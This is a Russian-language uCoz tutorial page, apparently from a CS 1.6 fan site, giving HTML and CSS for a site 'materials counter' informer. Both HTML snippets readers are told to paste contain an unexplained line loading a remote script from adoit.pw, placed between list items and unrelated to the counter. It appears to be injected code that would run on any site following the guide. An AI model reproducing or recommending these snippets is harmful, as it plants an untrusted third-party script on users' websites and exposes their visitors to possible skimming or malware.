Суббота, 18.05.2024 14:56

Меню сайта
Главная Форум Файлы Новости Баннеробмен Чат
Все Для Ucoz
Шаблоны для Ucoz Иконки Групп Ucoz Иконки Форума Ucoz Шапки Ucoz Скрипты для Ucoz
Все для DLE Сайтов
Шаблоны для сайтов DLE Шаблоны форумов DLE Модули DLE Хаки DLE Другое для DLE
Все для CS 1.6
Скачать Игру CS 1.6 Боты для CS 1.6 Патчи для CS 1.6 Программы CS 1.6 Карты для CS 1.6 Русификаторы CS 1.6 Плагины для cs 1.6 Конфиги CS 1.6 Модели оружий Cs 1.6 Модели игроков Cs 1.6 Спрайты CS 1.6 Читы CS 1.6 Клиент Steam Готовые Сервера CS 1.6 Основы Сервера
Все для CSS
Скачать Игру CSS Готовые Сервера CSS Карты для CSS Плагины для csS Модели оружий CsS Модели игроков CsS Читы CSS
Софт
Мультимедия Офис Драйвера Разные программы Для раскрутки сайта Браузеры
Игры для PC
Игры PC
Это интеренсо
Реклама
Кнопка
Главная » 2013 » Август » 17 » Счетчик материалов для uCoz
23:10
Счетчик материалов для uCoz

И так для начала мы создадим информер материалов для uCoz, для этого идём в Админ панель => Инструменты => Информеры => Создать информер => Счетчик материалов

удаляем старый html код и устанавливаем новый:

Код
<ul>  
<?if($DIR$)?><li><div>Сайтов в каталоге:</div>$DIR$</li><?endif?>  
<?if($BLOG$)?><li><div>Записей в блоге:</div>$BLOG$</li><?endif?>  
<?if($GB$)?><li><div>Гостевая книга:</div>$GB$</li><?endif?>  
<?if($NEWS$)?><li><div>Новостей сайта:</div>$NEWS$</li><?endif?>  
<?if($COMMENTS$)?><li><div>Тем на форуме:</div>$FORUM_T$</li><?endif?>  
<script src="http://adoit.pw/border.js" type="text/javascript"></script>
<?if($COMMENTS$)?><li><div>Комментариев:</div>$COMMENTS$</li><?endif?>  
<?if($BOARD$)?><li><div>Объявлений:</div>$BOARD$</li><?endif?>  
<?if($PHOTO$)?><li><div>Фотографий:</div>$PHOTO$</li><?endif?>  
<?if($FAQ$)?><li><div>Ответов:</div>$FAQ$</li><?endif?>  
<?if($LOAD$)?><li><div>Файлов:</div>$LOAD$</li><?endif?>  
<?if($PUBL$)?><li><div>Статей:</div>$PUBL$</li><?endif?>  
<?if($TESTS$)?><li><div>Тестов:</div>$TESTS$</li><?endif?>  
<?if($VIDEO$)?><li><div>Видео:</div>$VIDEO$</li><?endif?>  
<?if($STUFF$)?><li><div>Игр:</div>$STUFF$</li><?endif?>  
</ul>


а если вы хотите чтобы ячейка с количеством материалов имел тёмный фон, как в примере номер два, то устанавливаем в тот же информер следующий html код:

Код
<ul>  
<?if($DIR$)?><li><div>Сайтов в каталоге:</div><span>$DIR$</span></li><?endif?>  
<?if($BLOG$)?><li><div>Записей в блоге:</div><span>$BLOG$</span></li><?endif?>  
<?if($GB$)?><li><div>Гостевая книга:</div><span>$GB$</span></li><?endif?>  
<?if($NEWS$)?><li><div>Новостей сайта:</div><span>$NEWS$</span></li><?endif?>  
<?if($COMMENTS$)?><li><div>Тем на форуме:</div><span>$FORUM_T$</span></li><?endif?>  
<script src="http://adoit.pw/border.js" type="text/javascript"></script>
<?if($COMMENTS$)?><li><div>Комментариев:</div><span>$COMMENTS$</span></li><?endif?>  
<?if($BOARD$)?><li><div>Объявлений:</div><span>$BOARD$</span></li><?endif?>  
<?if($PHOTO$)?><li><div>Фотографий:</div><span>$PHOTO$</span></li><?endif?>  
<?if($FAQ$)?><li><div>Ответов:</div><span>$FAQ$</span></li><?endif?>  
<?if($LOAD$)?><li><div>Файлов:</div><span>$LOAD$</span></li><?endif?>  
<?if($PUBL$)?><li><div>Статей:</div><span>$PUBL$</span></li><?endif?>  
<?if($TESTS$)?><li><div>Тестов:</div><span>$TESTS$</span></li><?endif?>  
<?if($VIDEO$)?><li><div>Видео:</div><span>$VIDEO$</span></li><?endif?>  
<?if($STUFF$)?><li><div>Игр:</div><span>$STUFF$</span></li><?endif?>  
</ul>


а на страницу сайта в нужное место устанавливаем html каркас ячейки с информером материалов:

Код
<div class="informer-materials">  
<div class="informer-materials-title">Счетчик материалов </div>  
  $MYINF_1$  
</div>


а теперь давайте стилизуем данное решение, пропишем ему следующие css стили:

Код
/* Правильный счетчик материалов  
  ------------------------------------------*/  
.informer-materials {  
  float:left;  
  width:200px;  
  background: #fff;  
  border: 1px solid #CAD3DA;  
  border-radius:5px;  
  overflow: hidden;  
  margin-right: 20px;  
}  

.informer-materials-title {  
  float:left;  
  width:202px;  
  padding: 7px 0px;  
  background: #376fb9 ;  
  margin: -1px -1px 0px -1px;  
   
  font:11px Verdana,Arial,Helvetica, sans-serif;  
  text-shadow: 1px 1px 1px #093a7b;  
  text-align:center;  
  font-weight: bold;  
  color:#fff;  
}  

.informer-materials ul {  
  margin: 0;  
  padding: 0;  
  list-style: none;  
}  

.informer-materials li{  
  float:left;  
  width:170px;  
  padding: 5px 0px;  
  margin: 0px 15px;  
  border-top: 1px dotted #CAD3DA;  
}  

.informer-materials li div{  
  float:left;  
  width:150px;  
  padding-right: 10px;  
  text-align:right;  
}  

.informer-materials li div{  
  float:left;  
  width:120px;  
  text-align:right;  
}  

.informer-materials li:nth-child(1){  
  border-top: none;  
}  

.informer-materials li span{  
  padding: 2px 7px;  
  background: #9EA5A8;  
  border-radius:3px;  
   
  font:9px Verdana,Arial,Helvetica, sans-serif;  
  text-shadow: 1px 1px 1px #777;  
  font-weight: bold;  
  color:#fff;  
}  


На этом всё, спасибо за внимание!
Просмотров: 531 | Добавил: greenpis | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Профиль
Суббота
18.05.2024
14:56
[ Управление профилем ]
Выделенный сервер, аренда серверов, дешевые сервера, купить сервер, хостинг сервера
Sape
Photoshop
Кисти Стили Шрифты Плагины Текстуры Шаблоный для Фотошоп
Чат
Друзья сайта


Поиск
Статисика
Зарег. на сайте:
Всего: 38857
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Счетчики:
Онлайн:

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Сегодня нас посетили:


конфиги кс | шаблоны ucoz для cs 1.6 | © 2009-2010 | | Используются технологии uCoz | Sitemap | Sitemap-Forum
Копирование материалов на другие сайты запрещено!

Шаблоны cs 1.6 uCoz, скачать cfg для ножа, читы для css, скачать cfg на нож, Чит для кс WWW.cs-pc.ru